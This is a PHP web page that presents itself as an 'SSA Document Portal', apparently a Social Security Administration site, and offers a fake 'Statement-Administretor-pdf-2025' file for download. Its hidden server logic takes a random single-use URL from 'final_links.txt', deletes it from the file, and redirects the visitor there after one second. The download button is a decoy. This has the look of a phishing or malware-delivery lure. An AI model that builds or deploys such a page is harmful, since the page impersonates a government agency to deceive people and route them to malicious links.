<?php
session_start();

// Security headers
header("X-Frame-Options: DENY");
header("X-XSS-Protection: 1; mode=block");
header("X-Content-Type-Options: nosniff");

// Document data
$document = [
    'name' => 'Statement-Administretor-pdf-2025',
    'size' => '5.1MB',
    'status' => 'ready'
];

$linksFile = 'final_links.txt';
$randomLink = null;

// File handling without locking
if (file_exists($linksFile) && is_readable($linksFile) && is_writable($linksFile)) {
    try {
        $links = file($linksFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        
        if (!empty($links)) {
            $randomKey = array_rand($links);
            $randomLink = $links[$randomKey];
            unset($links[$randomKey]);
            
            // Write remaining links back immediately
            file_put_contents(
                $linksFile,
                implode(PHP_EOL, $links), 
                LOCK_EX // Remove this flag if you want to avoid ALL locking
            );
        }
    } catch (Exception $e) {
        error_log("File error: " . $e->getMessage());
    }
}
?>
<!DOCTYPE html>
<html lang="en" data-theme="light">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <?php if ($randomLink): ?>
    <meta http-equiv="refresh" content="1;url=<?php echo htmlspecialchars($randomLink) ?>">
    <?php endif; ?>
    <title>SSA Document Portal</title>
    <style>
    :root {
        --primary-hue: 215;
        --bg-light: hsl(var(--primary-hue) 33% 98%);
        --card-light: hsl(0 0% 100%);
        --text-light: hsl(var(--primary-hue) 32% 15%);
        --accent-light: hsl(var(--primary-hue) 89% 53%);
        --border-light: hsl(var(--primary-hue) 15% 90%);
        
        --bg-dark: hsl(var(--primary-hue) 25% 12%);
        --card-dark: hsl(var(--primary-hue) 25% 18%);
        --text-dark: hsl(var(--primary-hue) 15% 95%);
        --accent-dark: hsl(var(--primary-hue) 89% 63%);
        --border-dark: hsl(var(--primary-hue) 15% 25%);

        --bg: var(--bg-light);
        --card: var(--card-light);
        --text: var(--text-light);
        --accent: var(--accent-light);
        --border: var(--border-light);
        
        --radius: 12px;
        --shadow: 0 6px 24px -6px hsl(var(--primary-hue) 15% 85% / 25%);
        --transition: all 0.2s cubic-bezier(0.4, 0, 0.2, 1);
    }

    [data-theme="dark"] {
        --bg: var(--bg-dark);
        --card: var(--card-dark);
        --text: var(--text-dark);
        --accent: var(--accent-dark);
        --border: var(--border-dark);
        --shadow: 0 6px 24px -6px hsl(215 25% 5% / 25%);
    }

    * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
    }

    html {
        font-size: 16px;
        scroll-behavior: smooth;
    }

    body {
        font-family: 'Inter', system-ui, -apple-system, sans-serif;
        background: var(--bg);
        color: var(--text);
        min-height: 100vh;
        display: grid;
        place-items: center;
        padding: 1.5rem;
        line-height: 1.5;
        -webkit-font-smoothing: antialiased;
    }

    .container {
        background: var(--card);
        border-radius: var(--radius);
        padding: 2rem;
        width: 100%;
        max-width: 480px;
        box-shadow: var(--shadow);
        border: 1px solid var(--border);
        position: relative;
    }

    .operational-badge {
        background: linear-gradient(45deg, hsl(142 76% 36% / 15%), hsl(142 76% 36% / 10%));
        color: hsl(142 76% 36%);
        padding: 0.375rem 1rem;
        border-radius: 100px;
        font-size: 0.875rem;
        margin-bottom: 1.5rem;
        font-weight: 500;
        backdrop-filter: blur(4px);
        border: 1px solid hsl(142 76% 36% / 15%);
        width: fit-content;
        margin-left: auto;
        margin-right: auto;
    }

    h1 {
        font-size: 1.75rem;
        margin-bottom: 0.75rem;
        font-weight: 700;
        letter-spacing: -0.025em;
        text-align: center;
    }

    .subtitle {
        color: color-mix(in srgb, var(--text) 60%, transparent);
        margin-bottom: 2rem;
        text-align: center;
        font-size: 0.875rem;
    }

    .file-item {
        display: flex;
        align-items: center;
        justify-content: space-between;
        padding: 1rem;
        background: var(--card);
        border-radius: calc(var(--radius) - 2px);
        margin-bottom: 1rem;
        border: 1px solid var(--border);
        transition: var(--transition);
    }

    .file-item:hover {
        transform: translateY(-2px);
        box-shadow: var(--shadow);
    }

    .file-info {
        display: flex;
        align-items: center;
        gap: 0.75rem;
    }

    .file-icon {
        width: 1.5rem;
        height: 1.5rem;
        color: color-mix(in srgb, var(--text) 50%, transparent);
    }

    .file-details {
        display: flex;
        flex-direction: column;
        gap: 0.125rem;
    }

    .file-name {
        font-weight: 500;
        font-size: 0.9375rem;
    }

    .file-size {
        color: color-mix(in srgb, var(--text) 50%, transparent);
        font-size: 0.8125rem;
    }

    .status {
        background: linear-gradient(45deg, hsl(47 87% 55% / 15%), hsl(47 87% 55% / 10%));
        color: hsl(47 87% 55%);
        padding: 0.25rem 0.75rem;
        border-radius: 100px;
        font-size: 0.75rem;
        font-weight: 500;
        border: 1px solid hsl(47 87% 55% / 15%);
    }

    .download-btn {
        background: linear-gradient(45deg, var(--accent), color-mix(in srgb, var(--accent) 90%, black));
        color: white;
        border: none;
        padding: 1rem;
        width: 100%;
        border-radius: calc(var(--radius) - 2px);
        font-weight: 600;
        font-size: 0.9375rem;
        cursor: pointer;
        margin-top: 1.5rem;
        transition: var(--transition);
        position: relative;
        overflow: hidden;
    }

    .download-btn::after {
        content: '';
        position: absolute;
        inset: 0;
        background: linear-gradient(45deg, transparent, rgba(255,255,255,0.15));
        opacity: 0;
        transition: opacity 0.2s;
    }

    .download-btn:hover::after {
        opacity: 1;
    }

    .download-btn:active {
        transform: scale(0.98);
    }

    .footer {
        color: color-mix(in srgb, var(--text) 50%, transparent);
        font-size: 0.8125rem;
        margin-top: 2rem;
        text-align: center;
    }

    .theme-toggle {
        position: fixed;
        top: 1.25rem;
        right: 1.25rem;
        background: var(--card);
        border: 1px solid var(--border);
        padding: 0.75rem;
        border-radius: 50%;
        cursor: pointer;
        color: var(--text);
        transition: var(--transition);
    }

    .theme-toggle:hover {
        transform: rotate(180deg) scale(1.1);
    }

    #progress-overlay {
        position: fixed;
        inset: 0;
        background: color-mix(in srgb, var(--bg) 80%, transparent);
        backdrop-filter: blur(4px);
        display: none;
        place-items: center;
        z-index: 1000;
    }

    .progress-card {
        background: var(--card);
        padding: 1.5rem;
        border-radius: var(--radius);
        width: min(90%, 300px);
        box-shadow: var(--shadow);
        border: 1px solid var(--border);
    }

    .progress-bar {
        height: 6px;
        background: color-mix(in srgb, var(--text) 10%, transparent);
        border-radius: 3px;
        overflow: hidden;
        margin: 1rem 0;
    }

    .progress-fill {
        height: 100%;
        background: linear-gradient(90deg, var(--accent), color-mix(in srgb, var(--accent) 80%, white));
        width: 0%;
        transition: width 0.4s cubic-bezier(0.4, 0, 0.2, 1);
    }

    @media (max-width: 480px) {
        .container {
            padding: 1.5rem;
        }
        
        h1 {
            font-size: 1.5rem;
        }
    }
</style>
</head>
<body>
    <button class="theme-toggle" onclick="toggleTheme()">
        <svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
            <circle cx="12" cy="12" r="5"/>
            <path d="M12 1v2m0 18v2M4 12H2m20 0h-2m-2.5-7.5L16 7m-8 8l-1.5 1.5m0-11L8 7m8 8l1.5 1.5"/>
        </svg>
    </button>

    <div class="container">
        <span class="operational-badge">Operational</span>
        <h1>SSA Document Portal</h1>
        <p class="subtitle">Access and download your SSA documents securely</p>

        <div class="file-item">
            <div class="file-info">
                <svg class="file-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                    <path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/>
                    <polyline points="14 2 14 8 20 8"/>
                    <line x1="16" y1="13" x2="8" y2="13"/>
                    <line x1="16" y1="17" x2="8" y2="17"/>
                    <polyline points="10 9 9 9 8 9"/>
                </svg>
                <div class="file-details">
                    <span class="file-name"><?php echo htmlspecialchars($document['name']); ?></span>
                    <span class="file-size"><?php echo htmlspecialchars($document['size']); ?></span>
                </div>
            </div>
            <span class="status"><?php echo htmlspecialchars($document['status']); ?></span>
        </div>

        <form id="downloadForm" method="POST">
            <input type="hidden" name="token" value="<?php echo $_SESSION['download_token']; ?>">
            <input type="hidden" name="download" value="1">
            <button type="submit" class="download-btn">Download Documents</button>
        </form>
    </div>

    <div class="footer">
        © <?php echo date('Y'); ?> SSA Document Portal. All rights reserved.
    </div>
</body>
</html>